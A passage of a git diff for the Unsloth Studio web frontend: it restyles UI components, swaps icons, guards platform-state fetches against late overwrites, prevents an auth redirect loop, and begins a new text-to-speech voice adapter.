+        "border-input text-primary dark:bg-input/30 focus-visible:border-ring dark:focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 data-checked:bg-primary data-checked:border-primary flex size-4 rounded-full transition-none aria-invalid:ring-[3px] group/radio-group-item peer relative aspect-square shrink-0 border outline-none after:absolute after:-inset-x-3 after:-inset-y-2 disabled:cursor-not-allowed disabled:opacity-50",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/resizable.tsx b/studio/frontend/src/components/ui/resizable.tsx
index de6309cae9..60df343b15 100644
--- a/studio/frontend/src/components/ui/resizable.tsx
+++ b/studio/frontend/src/components/ui/resizable.tsx
@@ -39,7 +39,7 @@ function ResizableHandle({
     <ResizablePrimitive.Separator
       data-slot="resizable-handle"
       className={cn(
-        "group bg-border/80 relative z-10 flex w-px cursor-col-resize items-center justify-center transition-[background-color,box-shadow] duration-150 ease-out after:absolute after:inset-y-0 after:left-1/2 after:w-2 after:-translate-x-1/2 hover:bg-primary/80 hover:shadow-[0_0_16px_rgba(23,184,139,0.55)] active:bg-primary/90 active:shadow-[0_0_18px_rgba(23,184,139,0.7)] focus-visible:bg-primary/80 focus-visible:ring-1 focus-visible:ring-primary/50 focus-visible:ring-offset-1 focus-visible:outline-hidden data-[panel-group-direction=vertical]:h-px data-[panel-group-direction=vertical]:w-full data-[panel-group-direction=vertical]:cursor-row-resize data-[panel-group-direction=vertical]:after:left-0 data-[panel-group-direction=vertical]:after:h-2 data-[panel-group-direction=vertical]:after:w-full data-[panel-group-direction=vertical]:after:translate-x-0 data-[panel-group-direction=vertical]:after:-translate-y-1/2 [&[data-panel-group-direction=vertical]>div]:rotate-90",
+        "group bg-border/80 relative z-10 flex w-px cursor-col-resize items-center justify-center transition-[background-color,box-shadow] duration-150 ease-out after:absolute after:inset-y-0 after:left-1/2 after:w-2 after:-translate-x-1/2 hover:bg-primary/80 hover:shadow-[0_0_16px_rgba(23,184,139,0.55)] active:bg-primary/90 active:shadow-[0_0_18px_rgba(23,184,139,0.7)] focus-visible:bg-primary/80 focus-visible:ring-1 focus-visible:ring-ring focus-visible:outline-hidden data-[panel-group-direction=vertical]:h-px data-[panel-group-direction=vertical]:w-full data-[panel-group-direction=vertical]:cursor-row-resize data-[panel-group-direction=vertical]:after:left-0 data-[panel-group-direction=vertical]:after:h-2 data-[panel-group-direction=vertical]:after:w-full data-[panel-group-direction=vertical]:after:translate-x-0 data-[panel-group-direction=vertical]:after:-translate-y-1/2 [&[data-panel-group-direction=vertical]>div]:rotate-90",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/scroll-area.tsx b/studio/frontend/src/components/ui/scroll-area.tsx
index e9087ef376..1e60dcb10e 100644
--- a/studio/frontend/src/components/ui/scroll-area.tsx
+++ b/studio/frontend/src/components/ui/scroll-area.tsx
@@ -21,7 +21,7 @@ function ScrollArea({
     >
       <ScrollAreaPrimitive.Viewport
         data-slot="scroll-area-viewport"
-        className="focus-visible:ring-ring/50 size-full rounded-[inherit] transition-[color,box-shadow] outline-none focus-visible:ring-[3px] focus-visible:outline-1"
+        className="focus-visible:ring-ring size-full rounded-[inherit] transition-[color,box-shadow] outline-none focus-visible:ring-1 focus-visible:outline-1"
       >
         {children}
       </ScrollAreaPrimitive.Viewport>
diff --git a/studio/frontend/src/components/ui/select.tsx b/studio/frontend/src/components/ui/select.tsx
index 07f39fa935..925cc45b36 100644
--- a/studio/frontend/src/components/ui/select.tsx
+++ b/studio/frontend/src/components/ui/select.tsx
@@ -8,14 +8,12 @@ import type * as React from "react";
 import { createContext, useContext, useState } from "react";
 
 import { Tick02Icon } from "@/lib/tick-icon";
-import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import {
+  ChevronDownStandardIcon,
+  ChevronUpStandardIcon,
+} from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import { useDialogPortalContainer } from "@/components/ui/dialog";
-import {
-  ArrowDown01Icon,
-  ArrowUp01Icon,
-  UnfoldMoreIcon,
-} from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 const SelectOpenContext = createContext(false);
@@ -70,7 +68,7 @@ function SelectTrigger({
   ...props
 }: React.ComponentProps<typeof SelectPrimitive.Trigger> & {
   size?: "sm" | "default";
-  icon?: typeof UnfoldMoreIcon;
+  icon?: typeof ChevronDownStandardIcon;
   iconClassName?: string;
   animateRadius?: boolean;
 }) {
@@ -91,7 +89,7 @@ function SelectTrigger({
           : undefined
       }
       className={cn(
-        "border-input data-[placeholder]:text-muted-foreground bg-input/30 dark:hover:bg-input/50 focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 gap-1.5 rounded-4xl border px-3 py-2 text-sm transition-colors focus-visible:ring-[3px] aria-invalid:ring-[3px] data-[size=default]:h-9 data-[size=sm]:h-8 *:data-[slot=select-value]:flex *:data-[slot=select-value]:gap-1.5 [&_svg:not([class*='size-'])]:size-4 flex w-fit items-center justify-between whitespace-nowrap outline-none disabled:cursor-not-allowed disabled:opacity-50 *:data-[slot=select-value]:line-clamp-1 *:data-[slot=select-value]:flex *:data-[slot=select-value]:items-center [&_svg]:pointer-events-none [&_svg]:shrink-0 cursor-pointer",
+        "border-border data-[placeholder]:text-muted-foreground bg-background hover:bg-accent/50 dark:border-transparent dark:bg-white/[0.06] dark:hover:bg-white/10 focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 gap-1.5 rounded-full border px-3.5 py-2 text-sm transition-colors aria-invalid:ring-[3px] data-[size=default]:h-9 data-[size=sm]:h-8 *:data-[slot=select-value]:flex *:data-[slot=select-value]:gap-1.5 [&_svg:not([class*='size-'])]:size-4 flex w-fit items-center justify-between whitespace-nowrap outline-none disabled:cursor-not-allowed disabled:opacity-50 *:data-[slot=select-value]:line-clamp-1 *:data-[slot=select-value]:flex *:data-[slot=select-value]:items-center [&_svg]:pointer-events-none [&_svg]:shrink-0 cursor-pointer",
         className,
       )}
       {...props}
@@ -222,7 +220,7 @@ function SelectScrollUpButton({
       )}
       {...props}
     >
-      <HugeiconsIcon icon={ArrowUp01Icon} strokeWidth={2} />
+      <HugeiconsIcon icon={ChevronUpStandardIcon} strokeWidth={2} />
     </SelectPrimitive.ScrollUpButton>
   );
 }
@@ -240,7 +238,7 @@ function SelectScrollDownButton({
       )}
       {...props}
     >
-      <HugeiconsIcon icon={ArrowDown01Icon} strokeWidth={2} />
+      <HugeiconsIcon icon={ChevronDownStandardIcon} strokeWidth={2} />
     </SelectPrimitive.ScrollDownButton>
   );
 }
diff --git a/studio/frontend/src/components/ui/sidebar.tsx b/studio/frontend/src/components/ui/sidebar.tsx
index 3a8694908f..4eb37d4e89 100644
--- a/studio/frontend/src/components/ui/sidebar.tsx
+++ b/studio/frontend/src/components/ui/sidebar.tsx
@@ -471,7 +471,7 @@ function SidebarGroupLabel({
       data-slot="sidebar-group-label"
       data-sidebar="group-label"
       className={cn(
-        "text-[#94a3b8] dark:text-[#666] ring-sidebar-ring h-auto pt-3 pb-2 px-4 rounded-md text-[10px] font-semibold uppercase tracking-[0em] group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0 focus-visible:ring-2 [&>svg]:size-3 flex shrink-0 items-center outline-hidden [&>svg]:shrink-0",
+        "text-[#94a3b8] dark:text-[#666] ring-sidebar-ring h-auto pt-3 pb-2 px-4 rounded-md text-[10px] font-semibold uppercase tracking-[0em] group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0 focus-visible:ring-1 [&>svg]:size-3 flex shrink-0 items-center outline-hidden [&>svg]:shrink-0",
         className
       )}
       {...props}
@@ -491,7 +491,7 @@ function SidebarGroupAction({
       data-slot="sidebar-group-action"
       data-sidebar="group-action"
       className={cn(
-        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground absolute top-3.5 right-3 w-5 rounded-md p-0 focus-visible:ring-2 [&>svg]:size-4 flex aspect-square items-center justify-center outline-hidden transition-transform group-data-[collapsible=icon]:hidden after:absolute after:-inset-2 md:after:hidden [&>svg]:shrink-0",
+        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground absolute top-3.5 right-3 w-5 rounded-md p-0 focus-visible:ring-1 [&>svg]:size-4 flex aspect-square items-center justify-center outline-hidden transition-transform group-data-[collapsible=icon]:hidden after:absolute after:-inset-2 md:after:hidden [&>svg]:shrink-0",
         className
       )}
       {...props}
@@ -637,7 +637,7 @@ function SidebarMenuAction({
       data-slot="sidebar-menu-action"
       data-sidebar="menu-action"
       className={cn(
-        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground peer-hover/menu-button:text-sidebar-accent-foreground absolute top-1.5 right-1 aspect-square w-5 rounded-md p-0 peer-data-[size=default]/menu-button:top-2 peer-data-[size=lg]/menu-button:top-2.5 peer-data-[size=sm]/menu-button:top-1 focus-visible:ring-2 [&>svg]:size-4 flex items-center justify-center outline-hidden transition-transform group-data-[collapsible=icon]:hidden after:absolute after:-inset-2 md:after:hidden [&>svg]:shrink-0",
+        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground peer-hover/menu-button:text-sidebar-accent-foreground absolute top-1.5 right-1 aspect-square w-5 rounded-md p-0 peer-data-[size=default]/menu-button:top-2 peer-data-[size=lg]/menu-button:top-2.5 peer-data-[size=sm]/menu-button:top-1 focus-visible:ring-1 [&>svg]:size-4 flex items-center justify-center outline-hidden transition-transform group-data-[collapsible=icon]:hidden after:absolute after:-inset-2 md:after:hidden [&>svg]:shrink-0",
         showOnHover &&
           "peer-data-active/menu-button:text-sidebar-accent-foreground group-focus-within/menu-item:opacity-100 group-hover/menu-item:opacity-100 data-open:opacity-100 md:opacity-0",
         className
@@ -747,7 +747,7 @@ function SidebarMenuSubButton({
       data-size={size}
       data-active={isActive}
       className={cn(
-        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground active:bg-sidebar-accent active:text-sidebar-accent-foreground [&>svg]:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:text-sidebar-accent-foreground h-7 gap-2 rounded-md px-2 focus-visible:ring-2 data-[size=md]:text-sm data-[size=sm]:text-xs [&>svg]:size-4 flex min-w-0 -translate-x-px items-center overflow-hidden outline-hidden group-data-[collapsible=icon]:hidden disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 [&>span:last-child]:truncate [&>svg]:shrink-0",
+        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground active:bg-sidebar-accent active:text-sidebar-accent-foreground [&>svg]:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:text-sidebar-accent-foreground h-7 gap-2 rounded-md px-2 focus-visible:ring-1 data-[size=md]:text-sm data-[size=sm]:text-xs [&>svg]:size-4 flex min-w-0 -translate-x-px items-center overflow-hidden outline-hidden group-data-[collapsible=icon]:hidden disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 [&>span:last-child]:truncate [&>svg]:shrink-0",
         className
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/slider.tsx b/studio/frontend/src/components/ui/slider.tsx
index 705182e5ae..b921b25942 100644
--- a/studio/frontend/src/components/ui/slider.tsx
+++ b/studio/frontend/src/components/ui/slider.tsx
@@ -103,7 +103,7 @@ function Slider({
         <SliderPrimitive.Thumb
           data-slot="slider-thumb"
           key={index}
-          className="ring-ring/50 relative z-10 size-4 rounded-4xl bg-white shadow-sm block shrink-0 select-none cursor-pointer disabled:pointer-events-none disabled:opacity-50 transition-transform duration-100 ease-out hover:scale-110 hover:ring-4 active:scale-95 focus-visible:ring-4 focus-visible:outline-hidden"
+          className="ring-ring/50 relative z-10 size-4 rounded-4xl bg-white shadow-sm block shrink-0 select-none cursor-pointer disabled:pointer-events-none disabled:opacity-50 transition-transform duration-100 ease-out hover:scale-110 hover:ring-4 active:scale-95 focus-visible:ring-1 focus-visible:outline-hidden"
         />
       ))}
     </SliderPrimitive.Root>
diff --git a/studio/frontend/src/components/ui/sonner.tsx b/studio/frontend/src/components/ui/sonner.tsx
index 33c2b77262..aec1235b81 100644
--- a/studio/frontend/src/components/ui/sonner.tsx
+++ b/studio/frontend/src/components/ui/sonner.tsx
@@ -9,7 +9,7 @@ import {
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { Spinner } from "@/components/ui/spinner";
-import { useTheme } from "next-themes";
+import { useTheme } from "@/features/settings/stores/theme-store";
 import { Toaster as Sonner, type ToasterProps } from "sonner";
 
 // Make toast text selectable. Sonner's onPointerDown calls setPointerCapture(),
@@ -33,9 +33,9 @@ const handleToastPointerDownCapture = (
 };
 
 const Toaster = ({ ...props }: ToasterProps) => {
-  // Use resolvedTheme so sonner's data-sonner-theme always matches the class
-  // next-themes puts on <html>; sonner-side "system" resolution can drift.
-  const { resolvedTheme } = useTheme();
+  // Use the resolved mode so sonner's data-sonner-theme always matches the
+  // class the theme store puts on <html>.
+  const { resolved } = useTheme();
 
   return (
     // display:contents adds no box; only carries the selection-fix handler.
@@ -45,7 +45,7 @@ const Toaster = ({ ...props }: ToasterProps) => {
       onPointerDownCapture={handleToastPointerDownCapture}
     >
       <Sonner
-        theme={(resolvedTheme as ToasterProps["theme"]) ?? "light"}
+        theme={resolved}
         className="toaster group"
         duration={5000}
         icons={{
@@ -90,7 +90,7 @@ const Toaster = ({ ...props }: ToasterProps) => {
             // Pin the close button inside the toast's top-right corner.
             // Sonner defaults to the left/outside edge, so keep the horizontal
             // override here and the top offset in index.css.
-            "--toast-close-button-start": "unset",
+            "--toast-close-button-start": "auto",
             "--toast-close-button-end": "8px",
             "--toast-close-button-transform": "none",
           } as React.CSSProperties
diff --git a/studio/frontend/src/components/ui/switch.tsx b/studio/frontend/src/components/ui/switch.tsx
index 910005c0d6..db63936f37 100644
--- a/studio/frontend/src/components/ui/switch.tsx
+++ b/studio/frontend/src/components/ui/switch.tsx
@@ -18,14 +18,14 @@ function Switch({
       data-slot="switch"
       data-size={size}
       className={cn(
-        "data-checked:bg-primary data-unchecked:bg-input focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 dark:data-unchecked:bg-input/80 shrink-0 rounded-full border border-transparent focus-visible:ring-[3px] aria-invalid:ring-[3px] data-[size=default]:h-[18.4px] data-[size=default]:w-[32px] data-[size=sm]:h-[14px] data-[size=sm]:w-[24px] peer group/switch relative inline-flex items-center transition-all outline-none after:absolute after:-inset-x-3 after:-inset-y-2 data-disabled:cursor-not-allowed data-disabled:opacity-50",
+        "data-checked:bg-control-accent data-unchecked:bg-input focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 dark:data-unchecked:bg-input/80 shrink-0 rounded-full border border-transparent aria-invalid:ring-[3px] data-[size=default]:h-[18.4px] data-[size=default]:w-[32px] data-[size=sm]:h-[14px] data-[size=sm]:w-[24px] peer group/switch relative inline-flex items-center transition-all outline-none after:absolute after:-inset-x-3 after:-inset-y-2 data-disabled:cursor-not-allowed data-disabled:opacity-50",
         className,
       )}
       {...props}
     >
       <SwitchPrimitive.Thumb
         data-slot="switch-thumb"
-        className="bg-background dark:data-unchecked:bg-foreground dark:data-checked:bg-primary-foreground rounded-full group-data-[size=default]/switch:size-4 group-data-[size=sm]/switch:size-3 group-data-[size=default]/switch:data-checked:translate-x-[calc(100%-2px)] group-data-[size=sm]/switch:data-checked:translate-x-[calc(100%-2px)] group-data-[size=default]/switch:data-unchecked:translate-x-0 group-data-[size=sm]/switch:data-unchecked:translate-x-0 pointer-events-none block ring-0 transition-transform"
+        className="bg-background dark:data-unchecked:bg-foreground dark:data-checked:bg-control-accent-foreground rounded-full group-data-[size=default]/switch:size-4 group-data-[size=sm]/switch:size-3 group-data-[size=default]/switch:data-checked:translate-x-[calc(100%-2px)] group-data-[size=sm]/switch:data-checked:translate-x-[calc(100%-2px)] group-data-[size=default]/switch:data-unchecked:translate-x-0 group-data-[size=sm]/switch:data-unchecked:translate-x-0 pointer-events-none block ring-0 transition-transform"
       />
     </SwitchPrimitive.Root>
   );
diff --git a/studio/frontend/src/components/ui/tabs.tsx b/studio/frontend/src/components/ui/tabs.tsx
index 1e5381ab18..27f0257d86 100644
--- a/studio/frontend/src/components/ui/tabs.tsx
+++ b/studio/frontend/src/components/ui/tabs.tsx
@@ -106,11 +106,13 @@ export function TabsTrigger({
       data-slot="tabs-trigger"
       value={value}
       className={cn(
-        "gap-1.5 rounded-xl corner-squircle border border-transparent px-2 py-1 text-sm font-medium group-data-vertical/tabs:px-2.5 group-data-vertical/tabs:py-1.5 [&_svg:not([class*='size-'])]:size-4 focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring text-foreground/60 hover:text-foreground dark:text-muted-foreground dark:hover:text-foreground relative inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center whitespace-nowrap transition-colors group-data-[orientation=vertical]/tabs:w-full group-data-[orientation=vertical]/tabs:justify-start focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
+        "gap-1.5 rounded-xl corner-squircle border border-transparent px-2 py-1 text-sm font-medium group-data-vertical/tabs:px-2.5 group-data-vertical/tabs:py-1.5 [&_svg:not([class*='size-'])]:size-4 focus-visible:border-ring dark:focus-visible:border-ring text-foreground/60 hover:text-foreground dark:text-muted-foreground dark:hover:text-foreground relative inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center whitespace-nowrap transition-colors group-data-[orientation=vertical]/tabs:w-full group-data-[orientation=vertical]/tabs:justify-start disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
         "group-data-[variant=line]/tabs-list:bg-transparent group-data-[variant=line]/tabs-list:data-active:bg-transparent dark:group-data-[variant=line]/tabs-list:data-active:border-transparent dark:group-data-[variant=line]/tabs-list:data-active:bg-transparent",
         // Line variant is a roomier pill (no underline); padding overrides px-2 py-1.
         "group-data-[variant=line]/tabs-list:px-3.5 group-data-[variant=line]/tabs-list:py-2.5",
         "data-active:text-foreground dark:data-active:text-foreground",
+        // The sliding pill marks the active tab; no focus ring on top of it.
+        "data-active:focus-visible:ring-0 data-active:focus-visible:border-transparent dark:data-active:focus-visible:border-transparent data-active:focus-visible:outline-none",
         "after:bg-foreground after:absolute after:opacity-0 after:transition-opacity group-data-[orientation=horizontal]/tabs:after:inset-x-0 group-data-[orientation=horizontal]/tabs:after:bottom-[-5px] group-data-[orientation=horizontal]/tabs:after:h-0.5 group-data-[orientation=vertical]/tabs:after:inset-y-0 group-data-[orientation=vertical]/tabs:after:-right-1 group-data-[orientation=vertical]/tabs:after:w-0.5",
         className,
       )}
@@ -122,7 +124,7 @@ export function TabsTrigger({
           className={cn(
             "absolute inset-0",
             indicatorClassName ??
-              "rounded-xl bg-background dark:bg-input/30 dark:border dark:border-input group-data-[variant=line]/tabs-list:bg-[#ececec] dark:group-data-[variant=line]/tabs-list:bg-[#2d2f33] dark:group-data-[variant=line]/tabs-list:border-0",
+              "rounded-xl bg-background dark:bg-input/30 group-data-[variant=line]/tabs-list:bg-[#ececec] dark:group-data-[variant=line]/tabs-list:bg-[#2d2f33] dark:group-data-[variant=line]/tabs-list:border-0",
           )}
           transition={{
             type: "spring",
diff --git a/studio/frontend/src/components/ui/textarea.tsx b/studio/frontend/src/components/ui/textarea.tsx
index 7ffa58f7b9..697ee9843b 100644
--- a/studio/frontend/src/components/ui/textarea.tsx
+++ b/studio/frontend/src/components/ui/textarea.tsx
@@ -18,7 +18,9 @@ function Textarea({
     <textarea
       data-slot="textarea"
       className={cn(
-        "border-input bg-input/30 focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 resize-none rounded-xl border px-3 py-3 text-base transition-colors focus-visible:ring-[3px] aria-invalid:ring-[3px] md:text-sm placeholder:text-muted-foreground flex min-h-16 min-w-0 max-w-full w-full whitespace-pre-wrap break-words [overflow-wrap:anywhere] outline-none disabled:cursor-not-allowed disabled:opacity-50",
+        // White fill with a subtle border.
+        // Multi-row control, so rounded-xl rather than a full pill.
+        "border-border bg-background dark:border-transparent dark:bg-white/[0.06] focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 resize-none rounded-xl border px-3.5 py-3 text-base transition-colors aria-invalid:ring-[3px] md:text-sm placeholder:text-muted-foreground flex min-h-16 min-w-0 max-w-full w-full whitespace-pre-wrap break-words [overflow-wrap:anywhere] outline-none disabled:cursor-not-allowed disabled:opacity-50",
         fieldSizing === "content" ? "field-sizing-content" : "[field-sizing:fixed]",
         className,
       )}
diff --git a/studio/frontend/src/components/ui/toggle.tsx b/studio/frontend/src/components/ui/toggle.tsx
index 9266af8cb5..f613934919 100644
--- a/studio/frontend/src/components/ui/toggle.tsx
+++ b/studio/frontend/src/components/ui/toggle.tsx
@@ -12,7 +12,7 @@ import type * as React from "react";
 import { cn } from "@/lib/utils";
 
 export const toggleVariants = cva(
-  "hover:text-foreground aria-pressed:bg-muted focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive gap-1 rounded-4xl text-sm font-medium transition-colors [&_svg:not([class*='size-'])]:size-4 group/toggle hover:bg-muted inline-flex items-center justify-center whitespace-nowrap outline-none focus-visible:ring-[3px] disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
+  "hover:text-foreground aria-pressed:bg-muted focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive gap-1 rounded-4xl text-sm font-medium transition-colors [&_svg:not([class*='size-'])]:size-4 group/toggle hover:bg-muted inline-flex items-center justify-center whitespace-nowrap outline-none disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
   {
     variants: {
       variant: {
diff --git a/studio/frontend/src/config/env.ts b/studio/frontend/src/config/env.ts
index def1b9bad9..63cdd03141 100644
--- a/studio/frontend/src/config/env.ts
+++ b/studio/frontend/src/config/env.ts
@@ -54,6 +54,17 @@ export const usePlatformStore = create<PlatformState>()((_, get) => ({
   isChatOnly: () => get().chatOnly,
 }));
 
+// Once an authoritative (server-reported) platform has been fetched, a
+// non-forced response must not overwrite it. The post-render fetchDeviceType()
+// in main.tsx runs before auth is ready and can resolve after the authed
+// root-route/provider fetches; such a late write would reset deviceType,
+// cloudflareUrl/serverUrl/secure, and fetched, whether it is a browser fallback
+// (unauthenticated) or an earlier authenticated request that landed after a
+// later forced refresh. Forced refreshes are explicit re-reads, so they still write.
+function shouldKeepAuthoritativePlatform(force?: boolean): boolean {
+  return !force && usePlatformStore.getState().fetched;
+}
+
 // `force` re-reads /api/health even if cached, to pick up a late-arriving tunnel URL.
 export async function fetchDeviceType(options?: {
   force?: boolean;
@@ -81,6 +92,15 @@ export async function fetchDeviceType(options?: {
         server_url?: string | null;
         secure?: boolean;
       };
+      // Once the store holds an authoritative (server-reported) platform, a
+      // non-forced response must not overwrite it. It may be an unauthenticated
+      // fallback, or an earlier authenticated request that resolved after a
+      // later forced refresh already picked up device_type and the tunnel
+      // fields; writing either would reset device type or null the tunnel
+      // fields. Forced refreshes are explicit re-reads, so they still write.
+      if (shouldKeepAuthoritativePlatform(options?.force)) {
+        return usePlatformStore.getState().deviceType;
+      }
       const deviceType = data.device_type ?? detectLocalPlatform();
       const chatOnly = data.chat_only ?? false;
       const chatOnlyReason = data.chat_only_reason ?? null;
@@ -101,7 +121,11 @@ export async function fetchDeviceType(options?: {
   } catch {
     // Backend not ready: use client-side detection so chat-only guard works
     // on initial load (important for macOS). Keep fetched=false so a later
-    // call retries against the backend.
+    // call retries against the backend. But a late non-forced failure must not
+    // wipe an authoritative platform that already resolved.
+    if (shouldKeepAuthoritativePlatform(options?.force)) {
+      return usePlatformStore.getState().deviceType;
+    }
     const deviceType = detectLocalPlatform();
     const chatOnly = deviceType === "mac";
     usePlatformStore.setState({ deviceType, chatOnly, fetched: false });
diff --git a/studio/frontend/src/features/auth/api.ts b/studio/frontend/src/features/auth/api.ts
index 144e85d40a..38ab9aa5ea 100644
--- a/studio/frontend/src/features/auth/api.ts
+++ b/studio/frontend/src/features/auth/api.ts
@@ -82,6 +82,10 @@ async function redirectToAuth(): Promise<void> {
     // Fall through to /login on error
   }
 
+  if (window.location.pathname === target) {
+    isRedirecting = false;
+    return;
+  }
   window.location.href = target;
 }
 
diff --git a/studio/frontend/src/features/chat/adapters/studio-speech-synthesis-adapter.ts b/studio/frontend/src/features/chat/adapters/studio-speech-synthesis-adapter.ts
new file mode 100644
index 0000000000..5e6a76e949
--- /dev/null
+++ b/studio/frontend/src/features/chat/adapters/studio-speech-synthesis-adapter.ts
@@ -0,0 +1,338 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { useVoiceSettingsStore } from "@/features/settings/stores/voice-settings-store";
+import { toast } from "@/lib/toast";
+import type { SpeechSynthesisAdapter } from "@assistant-ui/react";
+
+/** Voice for a stored voiceURI; undefined lets the browser pick. */
+export function findTtsVoice(
+  voiceURI: string,
+): SpeechSynthesisVoice | undefined {
+  if (typeof window === "undefined" || !window.speechSynthesis) {
+    return undefined;
+  }
+  if (!voiceURI || voiceURI === "default") return undefined;
+  return window.speechSynthesis
+    .getVoices()
+    .find((voice) => voice.voiceURI === voiceURI);
+}
+
+// macOS novelty and legacy Eloquence voices that sound robotic and flood the picker.
+const LOW_QUALITY_VOICE_NAMES = new Set([
+  "albert",
+  "bad news",
+  "bahh",
+  "bells",
+  "boing",
+  "bubbles",
+  "cellos",
+  "deranged",
+  "eddy",
+  "flo",
+  "fred",
+  "good news",
+  "grandma",
+  "grandpa",
+  "hysterical",
+  "jester",
+  "junior",
+  "kathy",
+  "organ",
+  "princess",
+  "ralph",
+  "reed",
+  "rocko",
+  "sandy",
+  "shelley",
+  "superstar",
+  "trinoids",
+  "whisper",
+  "wobble",
+  "zarvox",
+]);
+
+function voiceBaseName(voice: SpeechSynthesisVoice): string {
+  // "Eddy (English (US))" -> "eddy"; "Bad News" -> "bad news"
+  const name = voice.name.split("(")[0]?.trim().toLowerCase() ?? "";
+  return name;
+}
+
+function voiceQualityScore(voice: SpeechSynthesisVoice): number {
+  const name = voice.name.toLowerCase();
+  let score = 0;
+  if (name.includes("premium")) score += 8;
+  if (name.includes("enhanced")) score += 7;
+  if (name.includes("natural") || name.includes("neural")) score += 6;
+  if (name.includes("siri")) score += 6;
+  if (name.includes("google")) score += 5;
+  if (name.includes("microsoft")) score += 4;
+  if (voice.default) score += 3;
+  return score;
+}
+
+function langBase(tag: string): string {
+  return tag.toLowerCase().split(/[-_]/)[0] ?? "";
+}
+
+const MAX_CURATED_VOICES = 20;
+
+/**
+ * Keep the best, most relevant voices: drop low-quality ones, keep English,
+ * the browser language, and the dictation language, rank by quality hints,
+ * and cap the list. The selected voice is always kept.
+ */
+export function curateSystemVoices(
+  voices: SpeechSynthesisVoice[],
+  selectedVoiceURI?: string,
+): SpeechSynthesisVoice[] {
+  const { dictationLanguage } = useVoiceSettingsStore.getState();
+  const wantedLangs = new Set<string>(["en"]);
+  if (typeof navigator !== "undefined" && navigator.language) {
+    wantedLangs.add(langBase(navigator.language));
+  }
+  if (dictationLanguage && dictationLanguage !== "auto") {
+    wantedLangs.add(langBase(dictationLanguage));
+  }
+
+  // WebKit and Linux engines report voices with empty or duplicate voiceURIs;
+  // drop them so the Radix Select never gets an empty or colliding value.
+  const seenVoiceURIs = new Set<string>();
+  const kept = voices.filter((voice) => {
+    if (!voice.voiceURI || seenVoiceURIs.has(voice.voiceURI)) return false;
+    seenVoiceURIs.add(voice.voiceURI);
+    if (LOW_QUALITY_VOICE_NAMES.has(voiceBaseName(voice))) return false;
+    return wantedLangs.has(langBase(voice.lang));
+  });
+
+  kept.sort((a, b) => {
+    const scoreDiff = voiceQualityScore(b) - voiceQualityScore(a);
+    if (scoreDiff !== 0) return scoreDiff;
+    return a.name.localeCompare(b.name);
+  });
+
+  const curated = kept.slice(0, MAX_CURATED_VOICES);
+  if (
+    selectedVoiceURI &&
+    selectedVoiceURI !== "default" &&
+    !curated.some((voice) => voice.voiceURI === selectedVoiceURI)
+  ) {
+    const selected = voices.find(
+      (voice) => voice.voiceURI === selectedVoiceURI,
+    );
+    if (selected) curated.push(selected);
+  }
+  return curated;
+}
+
+/** Build an utterance from the current Voice settings. */
+export function createConfiguredUtterance(
+  text: string,
+): SpeechSynthesisUtterance {
+  const { ttsVoiceURI, ttsRate, ttsPitch, ttsVolume } =
